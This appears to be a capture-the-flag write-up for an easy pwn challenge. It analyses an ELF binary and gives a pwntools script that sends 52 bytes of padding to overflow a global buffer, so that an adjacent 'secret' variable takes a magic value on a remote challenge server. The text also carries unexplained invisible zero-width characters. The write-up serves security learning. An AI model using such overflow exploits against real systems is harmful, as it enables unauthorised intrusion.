BOF: Обратная сторона Луны (Moon)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Address arithmetic for offset calculation, Buffer overflow to overwrite adjacent variable, Memory layout analysis via disassembly

Summary

Task: ELF64 binary with two input prompts, strncmp check and magic value comparison. Solution: Buffer overflow to overwrite adjacent global variable with calculated offset (52 bytes) and magic value 0xedbcdb.

BOF: Обратная сторона Луны (Moon) — hackerlab.pro

Description

Говорят, что на обратной стороне Луны что-то есть. И, кажется, я догадываюсь что. Но мне снова нужна твоя помощь для проверки :)

Category: PWN
Difficulty: Easy
Points: 300

Analysis

1. Initial Binary Analysis

 bash read-only • copy allowed Copy
file task3_file
# ELF 64-bit LSB executable, x86-64

strings task3_file | grep -i codeby
# CODEBY_Secret_Base

strings task3_file | grep -i subtract
# We subtract the beginning from the end.

Key strings found:

• CODEBY_Secret_Base — expected answer (true_answer)
• We subtract the beginning from the end. — hint for calculating offset ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Disassembling main

 bash read-only • copy allowed Copy
objdump -d task3_file | grep -A 100 "<main>"

Analysis revealed:

1. First check: strncmp(str, true_answer, strlen(true_answer))

   • Input must start with CODEBY_Secret_Base

2. Second check: secret == 0xedbcdb

   • Variable secret must equal the magic value

3. Memory Layout Analysis

str address:    0x4020  (input buffer)
secret address: 0x4054  (target variable)

Offset = 0x4054 - 0x4020 = 0x34 = 52 bytes

The hint "We subtract the beginning from the end" points to the calculation:

• end (secret) - beginning (str) = offset ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Exploitation Strategy

1. First input: CODEBY_Secret_Base — passes strncmp check
2. Second input: 52 bytes padding + 0xedbcdb (little-endian) — overflows buffer and overwrites secret

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

# Connect to server
r = remote('62.173.140.174', 17200)

# First answer - must match "CODEBY_Secret_Base"
first_answer = b"CODEBY_Secret_Base"

# Second answer - overflow to set secret = 0xedbcdb
# Offset = 0x4054 - 0x4020 = 52 bytes
padding = b'A' * 52
secret_value = p32(0xedbcdb)  # little endian
second_answer = padding + secret_value
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Send first answer
r.recvuntil(b"Enter your thoughts: ")
r.sendline(first_answer)

# Send second answer (overflow)
r.recvuntil(b"secret key: ")
r.sendline(second_answer)

# Get flag
result = r.recvall(timeout=3)
print(result.decode())

Technical Reference

Memory Layout

+--------+------------------+
| 0x4020 | str[52]          |  <- input buffer
+--------+------------------+
| 0x4054 | secret (4 bytes) |  <- target variable
+--------+------------------+

Little Endian

Value 0xedbcdb in little-endian:

0xdb 0xbc 0xed 0x00

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

pwntools p32() automatically converts to the correct format. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍